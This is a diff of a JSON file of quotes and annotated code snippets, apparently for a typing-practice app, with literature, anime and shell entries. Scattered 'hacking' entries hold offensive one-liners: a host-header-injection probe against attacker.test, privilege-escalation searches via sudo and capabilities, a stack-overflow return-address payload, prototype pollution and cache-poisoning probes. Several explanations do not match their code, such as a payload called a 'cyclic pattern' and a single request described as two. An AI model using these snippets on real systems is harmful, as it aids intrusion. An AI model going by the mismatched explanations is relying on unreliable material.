-    "content": "ps -eo pid,user,rss,pcpu,comm --sort=-rss | head -12",
-    "attribution": "Processes",
-    "language": "shell",
-    "explanation": "The heaviest processes by resident memory. --sort takes a minus for descending order."
-  },
-  {
-    "category": "programming",
-    "content": "git log -L 40,60:src/parser.rs --oneline",
-    "attribution": "Git",
+    "content": "rsync -avhn --delete /src/ /dest/",
+    "attribution": "Backup",
     "language": "shell",
-    "explanation": "Who last touched each line of a range, which is how you find the person to ask rather than the person to blame."
+    "explanation": "Mirrors a tree, deletes what no longer exists on the source, and shows what it would do first. Never run this without -n the first time."
   },
   {
     "category": "anime",
@@ -972,50 +968,50 @@
     "attribution": "One Piece"
   },
   {
-    "category": "sysadmin",
-    "content": "ss -ltnp | awk 'NR>1 {print $4, $6}'",
-    "attribution": "Network",
+    "category": "hacking",
+    "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
+    "attribution": "Web",
     "language": "shell",
-    "explanation": "Listening sockets with the process behind each one. The modern replacement for netstat -tulpn."
+    "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
   },
   {
-    "category": "history",
-    "content": "Those who cannot remember the past are condemned to repeat it.",
-    "attribution": "George Santayana, The Life of Reason"
+    "category": "literature",
+    "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
+    "attribution": "Louisa May Alcott, Little Women"
   },
   {
-    "category": "history",
-    "content": "You have to make more noise than anybody else, you have to fill all the papers more than anybody else.",
-    "attribution": "Emmeline Pankhurst, 1913"
+    "category": "sysadmin",
+    "content": "dig +short @1.1.1.1 example.com A",
+    "attribution": "Network",
+    "language": "shell",
+    "explanation": "Resolves a name through a specific server, which is how you tell a stale local cache from a stale zone."
   },
   {
-    "category": "literature",
-    "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.",
-    "attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
+    "category": "quotes",
+    "content": "It always seems impossible until it's done.",
+    "attribution": "Nelson Mandela"
   },
   {
-    "category": "hacking",
-    "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
-    "attribution": "Post-exploitation",
-    "language": "shell",
-    "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
+    "category": "technology",
+    "content": "The web as I envisaged it, we have not seen it yet. The future is still so much bigger than the past.",
+    "attribution": "Tim Berners-Lee"
   },
   {
-    "category": "anime",
-    "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
-    "attribution": "Fullmetal Alchemist"
+    "category": "programming",
+    "content": "const port = config.port ?? process.env.PORT ?? 8080;",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "?? falls back only on null or undefined, unlike ||, which also fires on 0 and the empty string."
   },
   {
-    "category": "movies",
-    "content": "What we do in life echoes in eternity.",
-    "attribution": "Gladiator (2000)"
+    "category": "literature",
+    "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.",
+    "attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
   },
   {
-    "category": "hacking",
-    "content": "grep -rE '^[^#].*(ALL|NOPASSWD)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null",
-    "attribution": "Defence",
-    "language": "shell",
-    "explanation": "Audits which accounts can escalate, and how. The answer is usually longer than anyone expects."
+    "category": "anime",
+    "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
+    "attribution": "Steins;Gate"
   },
   {
     "category": "anime",
@@ -1023,277 +1019,263 @@
     "attribution": "Fruits Basket"
   },
   {
-    "category": "history",
-    "content": "Power concedes nothing without a demand. It never did and it never will.",
-    "attribution": "Frederick Douglass, 1857"
+    "category": "programming",
+    "content": "counts = {word: text.count(word) for word in set(text.split())}",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
   },
   {
-    "category": "hacking",
-    "content": "curl -s 'https://target/?x=1' -H 'X-Forwarded-Scheme: nothttps' -o /dev/null -w '%{http_code} %{time_total}\\n'",
-    "attribution": "Web",
-    "language": "shell",
-    "explanation": "Requests the same path twice with different cache-busting keys to see whether a proxy will serve one user's response to another."
+    "category": "philosophy",
+    "content": "All men by nature desire to know.",
+    "attribution": "Aristotle, Metaphysics"
   },
   {
-    "category": "literature",
-    "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
-    "attribution": "Emily Bronte, Wuthering Heights"
+    "category": "history",
+    "content": "The strong do what they can and the weak suffer what they must.",
+    "attribution": "Thucydides, History of the Peloponnesian War"
   },
   {
-    "category": "nature",
-    "content": "When we try to pick out anything by itself, we find it hitched to everything else in the universe.",
-    "attribution": "John Muir, My First Summer in the Sierra"
+    "category": "quotes",
+    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
+    "attribution": "Henry David Thoreau, Walden"
   },
   {
-    "category": "programming",
-    "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
+    "category": "technology",
+    "content": "We are stuck with technology when what we really want is just stuff that works.",
+    "attribution": "Douglas Adams"
   },
   {
-    "category": "programming",
-    "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
-    "attribution": "Shell",
+    "category": "sysadmin",
+    "content": "ls -l /proc/$PID/fd | head && cat /proc/$PID/wchan",
+    "attribution": "Processes",
     "language": "shell",
-    "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
-  },
-  {
-    "category": "nature",
-    "content": "In some Native languages the term for plants translates to those who take care of us.",
-    "attribution": "Robin Wall Kimmerer, Braiding Sweetgrass"
-  },
-  {
-    "category": "programming",
-    "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
+    "explanation": "What a process is actually waiting on. Reading its file descriptors and stack says more than another look at top."
   },
   {
     "category": "business",
-    "content": "When a measure becomes a target, it ceases to be a good measure.",
-    "attribution": "Goodhart's Law"
+    "content": "If you are not embarrassed by the first version of your product, you have launched too late.",
+    "attribution": "Reid Hoffman"
   },
   {
-    "category": "quotes",
-    "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
-    "attribution": "Sojourner Truth, Ain't I a Woman?"
+    "category": "hacking",
+    "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
+    "attribution": "Exploit dev",
+    "language": "python",
+    "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
   },
   {
     "category": "anime",
-    "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
-    "attribution": "Attack on Titan"
+    "content": "Hard work is worthless for those that don't believe in themselves.",
+    "attribution": "Naruto"
   },
   {
-    "category": "shell",
-    "content": "awk '{print $1, $NF}' access.log",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "awk splits each line into fields on whitespace. $1 is the first, $NF the last - so this prints the first and last column of every line."
+    "category": "movies",
+    "content": "I love the smell of napalm in the morning.",
+    "attribution": "Apocalypse Now (1979)"
   },
   {
-    "category": "shell",
-    "content": "tmp=$(mktemp -d) && trap 'rm -rf \"$tmp\"' EXIT",
-    "attribution": "Shell safety",
+    "category": "programming",
+    "content": "git log -L 40,60:src/parser.rs --oneline",
+    "attribution": "Git",
     "language": "shell",
-    "explanation": "A trap on EXIT cleans up whether the script succeeded, failed or was interrupted."
+    "explanation": "Who last touched each line of a range, which is how you find the person to ask rather than the person to blame."
   },
   {
-    "category": "nature",
-    "content": "A thing is right when it tends to preserve the integrity, stability and beauty of the biotic community.",
-    "attribution": "Aldo Leopold, A Sand County Almanac"
+    "category": "hacking",
+    "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
+    "attribution": "Recon",
+    "language": "shell",
+    "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
   },
   {
-    "category": "literature",
-    "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
-    "attribution": "Mary Shelley, Frankenstein"
+    "category": "sysadmin",
+    "content": "chmod --reference=/etc/passwd /etc/passwd.new && chown --reference=/etc/passwd /etc/passwd.new",
+    "attribution": "Permissions",
+    "language": "shell",
+    "explanation": "Copies the ownership and mode of one file onto another, rather than typing the numbers and getting them wrong."
   },
   {
-    "category": "movies",
-    "content": "You're gonna need a bigger boat.",
-    "attribution": "Jaws (1975)"
+    "category": "programming",
+    "content": "const [user, posts] = await Promise.all([getUser(id), getPosts(id)]);",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "Promise.all runs them concurrently and rejects on the first failure; allSettled waits for every result instead."
   },
   {
-    "category": "history",
-    "content": "Injustice anywhere is a threat to justice everywhere.",
-    "attribution": "Martin Luther King Jr., Letter from Birmingham Jail, 1963"
+    "category": "shell",
+    "content": "sed -e 's/#.*//' -e '/^[[:space:]]*$/d' /etc/ssh/sshd_config",
+    "attribution": "sed",
+    "language": "shell",
+    "explanation": "Deletes comments and blank lines, which is how you read a config that is mostly documentation."
   },
   {
-    "category": "programming",
-    "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
-    "attribution": "C",
-    "language": "clike",
-    "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
+    "category": "movies",
+    "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
+    "attribution": "Casablanca (1942)"
   },
   {
-    "category": "programming",
-    "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
+    "category": "movies",
+    "content": "You're gonna need a bigger boat.",
+    "attribution": "Jaws (1975)"
   },
   {
-    "category": "literature",
-    "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
-    "attribution": "Charlotte Bronte, Jane Eyre"
+    "category": "hacking",
+    "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
   },
   {
-    "category": "business",
-    "content": "The essence of strategy is choosing what not to do.",
-    "attribution": "Michael Porter"
+    "category": "technology",
+    "content": "Any sufficiently advanced technology is indistinguishable from magic.",
+    "attribution": "Arthur C. Clarke"
   },
   {
     "category": "programming",
-    "content": "groups = defaultdict(list); [groups[w[0]].append(w) for w in words]",
+    "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
     "attribution": "Python",
     "language": "python",
-    "explanation": "defaultdict removes the exists-check before every append, which is the most common shape of a grouping loop."
+    "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
   },
   {
-    "category": "programming",
-    "content": "EXPLAIN ANALYZE SELECT * FROM test_results WHERE mode_key = 'time-30' ORDER BY wpm DESC LIMIT 50;",
-    "attribution": "SQL",
-    "language": "clike",
-    "explanation": "EXPLAIN ANALYZE runs the query and reports what the planner actually did, not what it guessed it would do."
+    "category": "shell",
+    "content": "sed -i 's/localhost/127.0.0.1/g' config.ini",
+    "attribution": "sed",
+    "language": "shell",
+    "explanation": "Substitute in place. The g flag replaces every match on a line, not just the first; -i writes the file rather than printing."
   },
   {
-    "category": "philosophy",
-    "content": "The beginning is the most important part of the work.",
-    "attribution": "Plato, The Republic"
+    "category": "business",
+    "content": "Organisations design systems which are copies of the communication structures of those organisations.",
+    "attribution": "Conway's Law"
   },
   {
     "category": "nature",
-    "content": "The mountains are calling and I must go.",
-    "attribution": "John Muir"
-  },
-  {
-    "category": "philosophy",
-    "content": "The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers."
+    "content": "A thing is right when it tends to preserve the integrity, stability and beauty of the biotic community.",
+    "attribution": "Aldo Leopold, A Sand County Almanac"
   },
   {
-    "category": "anime",
-    "content": "Even if you can't see it, the river keeps flowing under the ice.",
-    "attribution": "March Comes in Like a Lion"
+    "category": "nature",
+    "content": "When we try to pick out anything by itself, we find it hitched to everything else in the universe.",
+    "attribution": "John Muir, My First Summer in the Sierra"
   },
   {
-    "category": "sysadmin",
-    "content": "tar czf - /var/www | ssh backup 'cat > www-$(date +%F).tar.gz'",
-    "attribution": "Backup",
-    "language": "shell",
-    "explanation": "Streams a directory to another host without a temporary archive on either side."
+    "category": "general",
+    "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp."
   },
   {
     "category": "anime",
-    "content": "The only ones who should kill are those who are prepared to be killed.",
-    "attribution": "Code Geass"
+    "content": "This world is rotten, and those who are making it rot deserve to die.",
+    "attribution": "Death Note"
   },
   {
-    "category": "shell",
-    "content": "cut -f2 data.tsv | paste -sd, -",
-    "attribution": "Text processing",
+    "category": "hacking",
+    "content": "curl -sI https://target/login | grep -i 'set-cookie' | grep -ci 'httponly.*secure'",
+    "attribution": "Web",
     "language": "shell",
-    "explanation": "paste joins lines side by side; -s -d joins them all into one line with the chosen separator."
-  },
-  {
-    "category": "movies",
-    "content": "I'm as mad as hell, and I'm not going to take this anymore.",
-    "attribution": "Network (1976)"
+    "explanation": "Checks whether a session cookie carries the flags that stop JavaScript reading it and stop it crossing sites."
   },
   {
     "category": "literature",
-    "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
-    "attribution": "Louisa May Alcott, Little Women"
+    "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
+    "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
   },
   {
     "category": "general",
     "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible."
   },
   {
-    "category": "nature",
-    "content": "It seems to me that the natural world is the greatest source of excitement, of visual beauty, of intellectual interest.",
-    "attribution": "David Attenborough"
+    "category": "business",
+    "content": "Price is what you pay. Value is what you get.",
+    "attribution": "Warren Buffett"
   },
   {
-    "category": "sysadmin",
-    "content": "du -xh --max-depth=1 / 2>/dev/null | sort -rh | head -15",
-    "attribution": "Disk",
-    "language": "shell",
-    "explanation": "Largest directories at this level, human readable. -x stays on one filesystem so it does not wander into /proc or a mount."
+    "category": "anime",
+    "content": "Once you've met someone, you never really forget them.",
+    "attribution": "Spirited Away"
   },
   {
-    "category": "movies",
-    "content": "Do. Or do not. There is no try.",
-    "attribution": "The Empire Strikes Back (1980)"
+    "category": "technology",
+    "content": "The human mind operates by association. With one item in its grasp, it snaps instantly to the next that is suggested.",
+    "attribution": "Vannevar Bush, As We May Think"
   },
   {
-    "category": "sysadmin",
-    "content": "systemctl --failed --no-pager",
-    "attribution": "systemd",
+    "category": "hacking",
+    "content": "curl -s 'https://target/?x=1' -H 'X-Forwarded-Scheme: nothttps' -o /dev/null -w '%{http_code} %{time_total}\\n'",
+    "attribution": "Web",
     "language": "shell",
-    "explanation": "Lists units that failed at boot. The first thing to run on a machine that came up wrong."
+    "explanation": "Requests the same path twice with different cache-busting keys to see whether a proxy will serve one user's response to another."
   },
   {
-    "category": "movies",
-    "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
-    "attribution": "Casablanca (1942)"
+    "category": "shell",
+    "content": "sed -n '10,20p' large.log",
+    "attribution": "sed",
+    "language": "shell",
+    "explanation": "Prints only lines 10 to 20. -n suppresses the default print, and p prints the range that matched."
   },
   {
-    "category": "programming",
-    "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
-    "attribution": "Shell",
-    "language": "shell",
-    "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
+    "category": "movies",
+    "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
+    "attribution": "The Silence of the Lambs (1991)"
   },
   {
-    "category": "shell",
-    "content": "awk -F: '{print $1, $7}' /etc/passwd",
-    "attribution": "awk",
+    "category": "hacking",
+    "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
+    "attribution": "Defence",
     "language": "shell",
-    "explanation": "-F sets the field separator. This reads /etc/passwd and prints the username and shell, which are fields 1 and 7."
+    "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
   },
   {
-    "category": "history",
-    "content": "We shall fight on the beaches, we shall fight on the landing grounds, we shall fight in the fields and in the streets.",
-    "attribution": "Winston Churchill, 1940"
+    "category": "nature",
+    "content": "Those who contemplate the beauty of the earth find reserves of strength that will endure as long as life lasts.",
+    "attribution": "Rachel Carson, The Sense of Wonder"
   },
   {
     "category": "shell",
-    "content": "awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn",
-    "attribution": "awk",
+    "content": "mount | column -t | grep -v tmpfs",
+    "attribution": "Text processing",
     "language": "shell",
-    "explanation": "A pattern before the block acts as a filter: only lines whose 9th field is 404 are printed. No grep needed."
+    "explanation": "column formats whitespace-separated input into aligned columns, which makes an unreadable log readable."
   },
   {
-    "category": "literature",
-    "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
-    "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
+    "category": "philosophy",
+    "content": "The only true wisdom is in knowing you know nothing.",
+    "attribution": "Socrates"
   },
   {
-    "category": "shell",
-    "content": "awk '{sum += $3} END {print sum, sum/NR}' numbers.txt",
-    "attribution": "awk",
+    "category": "sysadmin",
+    "content": "ps -eo pid,user,rss,pcpu,comm --sort=-rss | head -12",
+    "attribution": "Processes",
     "language": "shell",
-    "explanation": "Sums a column and prints the average. END runs after the last line, so NR is the total row count by then."
+    "explanation": "The heaviest processes by resident memory. --sort takes a minus for descending order."
   },
   {
-    "category": "business",
-    "content": "Every moment in business happens only once. The next Bill Gates will not build an operating system.",
-    "attribution": "Peter Thiel, Zero to One"
+    "category": "history",
+    "content": "Those who cannot remember the past are condemned to repeat it.",
+    "attribution": "George Santayana, The Life of Reason"
   },
   {
     "category": "history",
-    "content": "The world will little note nor long remember what we say here, but it can never forget what they did here.",
-    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
+    "content": "We must always take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor.",
+    "attribution": "Elie Wiesel, 1986"
   },
   {
-    "category": "nature",
-    "content": "Those who contemplate the beauty of the earth find reserves of strength that will endure as long as life lasts.",
-    "attribution": "Rachel Carson, The Sense of Wonder"
+    "category": "hacking",
+    "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
+    "attribution": "Web",
+    "language": "javascript",
+    "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
   },
   {
-    "category": "philosophy",
-    "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically."
+    "category": "technology",
+    "content": "We have modified our environment so radically that we must now modify ourselves to exist in this new environment.",
+    "attribution": "Norbert Wiener"
+  },
+  {
+    "category": "anime",
+    "content": "Whatever happens, happens.",
+    "attribution": "Cowboy Bebop"
   },
   {
     "category": "hacking",
@@ -1303,651 +1285,674 @@
     "explanation": "Certificate transparency logs list every name a CA has issued for a domain, including hosts that were never meant to be public."
   },
   {
-    "category": "science",
-    "content": "What we observe is not nature itself, but nature exposed to our method of questioning.",
-    "attribution": "Werner Heisenberg"
+    "category": "history",
+    "content": "I could work as much and eat as much as a man, when I could get it, and bear the lash as well. And ain't I a woman?",
+    "attribution": "Sojourner Truth, 1851"
   },
   {
-    "category": "shell",
-    "content": "sed -n '10,20p' large.log",
-    "attribution": "sed",
-    "language": "shell",
-    "explanation": "Prints only lines 10 to 20. -n suppresses the default print, and p prints the range that matched."
-  },
-  {
-    "category": "science",
-    "content": "I would rather have questions that can't be answered than answers that can't be questioned.",
-    "attribution": "Richard Feynman"
+    "category": "history",
+    "content": "We shall fight on the beaches, we shall fight on the landing grounds, we shall fight in the fields and in the streets.",
+    "attribution": "Winston Churchill, 1940"
   },
   {
-    "category": "movies",
-    "content": "You mustn't be afraid to dream a little bigger, darling.",
-    "attribution": "Inception (2010)"
+    "category": "literature",
+    "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
+    "attribution": "Mary Shelley, Frankenstein"
   },
   {
-    "category": "general",
-    "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron."
+    "category": "programming",
+    "content": "groups = defaultdict(list); [groups[w[0]].append(w) for w in words]",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "defaultdict removes the exists-check before every append, which is the most common shape of a grouping loop."
   },
   {
-    "category": "shell",
-    "content": "awk '!seen[$0]++' file.txt",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "Deduplicate without sorting, preserving original order. The array records what has been seen; !seen[$0]++ is true only the first time."
+    "category": "science",
+    "content": "The good thing about science is that it's true whether or not you believe in it.",
+    "attribution": "Neil deGrasse Tyson"
   },
   {
-    "category": "literature",
-    "content": "Not all those who wander are lost.",
-    "attribution": "J.R.R. Tolkien"
+    "category": "movies",
+    "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
+    "attribution": "Interstellar (2014)"
   },
   {
     "category": "science",
-    "content": "Imagination is more important than knowledge. Knowledge is limited. Imagination encircles the world.",
-    "attribution": "Albert Einstein"
+    "content": "The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves.",
+    "attribution": "Ada Lovelace"
   },
   {
     "category": "anime",
-    "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
+    "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
     "attribution": "Attack on Titan"
   },
   {
-    "category": "science",
-    "content": "The whole history of science has been the gradual realisation that events do not happen in an arbitrary manner.",
-    "attribution": "Stephen Hawking, A Brief History of Time"
+    "category": "hacking",
+    "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
+    "attribution": "Memory safety",
+    "language": "clike",
+    "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
   },
   {
-    "category": "general",
-    "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone."
+    "category": "philosophy",
+    "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions."
   },
   {
-    "category": "hacking",
-    "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
-    "attribution": "Crypto",
+    "category": "nature",
+    "content": "No one will protect what they don't care about, and no one will care about what they have never experienced.",
+    "attribution": "David Attenborough"
+  },
+  {
+    "category": "programming",
+    "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
+    "attribution": "Shell",
     "language": "shell",
-    "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
+    "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
   },
   {
-    "category": "movies",
-    "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
-    "attribution": "Interstellar (2014)"
+    "category": "sysadmin",
+    "content": "lsof +L1 2>/dev/null | awk '$7 > 100000000 {print $1, $7, $NF}'",
+    "attribution": "Disk",
+    "language": "shell",
+    "explanation": "Finds space held by deleted files that a process still has open. Deleting the file does not free the space until the handle closes."
   },
   {
-    "category": "technology",
-    "content": "All problems in computer science can be solved by another level of indirection.",
-    "attribution": "Butler Lampson"
+    "category": "shell",
+    "content": "tr -cs '[:alpha:]' '\\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "The classic word-frequency pipeline: split to one word per line, fold case, sort so duplicates are adjacent, count runs, order by count."
   },
   {
-    "category": "programming",
-    "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
+    "category": "quotes",
+    "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
+    "attribution": "Frederick Douglass"
+  },
+  {
+    "category": "anime",
+    "content": "What I want more than anything is for you to live and help me live too.",
+    "attribution": "A Silent Voice"
   },
   {
     "category": "science",
-    "content": "Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.",
-    "attribution": "Marie Curie"
+    "content": "In the fields of observation chance favours only the prepared mind.",
+    "attribution": "Louis Pasteur"
   },
   {
-    "category": "sysadmin",
-    "content": "strace -c -f -p $PID 2>&1 | tail -20",
-    "attribution": "Processes",
-    "language": "shell",
-    "explanation": "Traces the system calls a command makes, with a count and timing summary rather than a wall of output."
+    "category": "quotes",
+    "content": "The only limit to our realization of tomorrow is our doubts of today.",
+    "attribution": "Franklin D. Roosevelt"
   },
   {
-    "category": "technology",
-    "content": "Any sufficiently advanced technology is indistinguishable from magic.",
-    "attribution": "Arthur C. Clarke"
+    "category": "history",
+    "content": "The only thing we have to fear is fear itself: nameless, unreasoning, unjustified terror.",
+    "attribution": "Franklin D. Roosevelt, 1933"
   },
   {
-    "category": "technology",
-    "content": "The human mind operates by association. With one item in its grasp, it snaps instantly to the next that is suggested.",
-    "attribution": "Vannevar Bush, As We May Think"
+    "category": "science",
+    "content": "The great tragedy of science: the slaying of a beautiful hypothesis by an ugly fact.",
+    "attribution": "Thomas Huxley"
   },
   {
     "category": "sysadmin",
-    "content": "rsync -avhn --delete /src/ /dest/",
-    "attribution": "Backup",
+    "content": "systemctl --failed --no-pager",
+    "attribution": "systemd",
     "language": "shell",
-    "explanation": "Mirrors a tree, deletes what no longer exists on the source, and shows what it would do first. Never run this without -n the first time."
+    "explanation": "Lists units that failed at boot. The first thing to run on a machine that came up wrong."
   },
   {
-    "category": "quotes",
-    "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
-    "attribution": "Marcus Aurelius, Meditations"
+    "category": "shell",
+    "content": "tmp=$(mktemp -d) && trap 'rm -rf \"$tmp\"' EXIT",
+    "attribution": "Shell safety",
+    "language": "shell",
+    "explanation": "A trap on EXIT cleans up whether the script succeeded, failed or was interrupted."
   },
   {
-    "category": "hacking",
-    "content": "getcap -r / 2>/dev/null | grep -E 'cap_(setuid|dac_override|sys_admin)'",
-    "attribution": "Post-exploitation",
-    "language": "shell",
-    "explanation": "Capabilities are finer-grained than setuid but grant real power. cap_setuid on an interpreter is root."
+    "category": "business",
+    "content": "A wealth of information creates a poverty of attention.",
+    "attribution": "Herbert Simon"
   },
   {
-    "category": "literature",
-    "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
-    "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
+    "category": "shell",
+    "content": "set -euo pipefail",
+    "attribution": "Shell safety",
+    "language": "shell",
+    "explanation": "The unofficial strict mode: exit on error, exit on undefined variable, and fail a pipeline if any stage fails rather than only the last."
   },
   {
-    "category": "technology",
-    "content": "Security is a process, not a product.",
-    "attribution": "Bruce Schneier"
+    "category": "nature",
+    "content": "The earth is what we all have in common.",
+    "attribution": "Wendell Berry"
   },
   {
-    "category": "hacking",
-    "content": "curl -sI https://target/login | grep -i 'set-cookie' | grep -ci 'httponly.*secure'",
-    "attribution": "Web",
+    "category": "shell",
+    "content": "grep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log | sort -u | wc -l",
+    "attribution": "Text processing",
     "language": "shell",
-    "explanation": "Checks whether a session cookie carries the flags that stop JavaScript reading it and stop it crossing sites."
+    "explanation": "grep -o prints only the match, one per line, which turns a search into a stream you can count."
   },
   {
-    "category": "quotes",
-    "content": "If I have seen further, it is by standing on the shoulders of giants.",
-    "attribution": "Isaac Newton"
+    "category": "literature",
+    "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
+    "attribution": "Oscar Wilde, The Picture of Dorian Gray"
   },
   {
     "category": "movies",
-    "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
-    "attribution": "Forrest Gump (1994)"
+    "content": "Do. Or do not. There is no try.",
+    "attribution": "The Empire Strikes Back (1980)"
   },
   {
-    "category": "science",
-    "content": "The most incomprehensible thing about the world is that it is comprehensible.",
-    "attribution": "Albert Einstein"
+    "category": "literature",
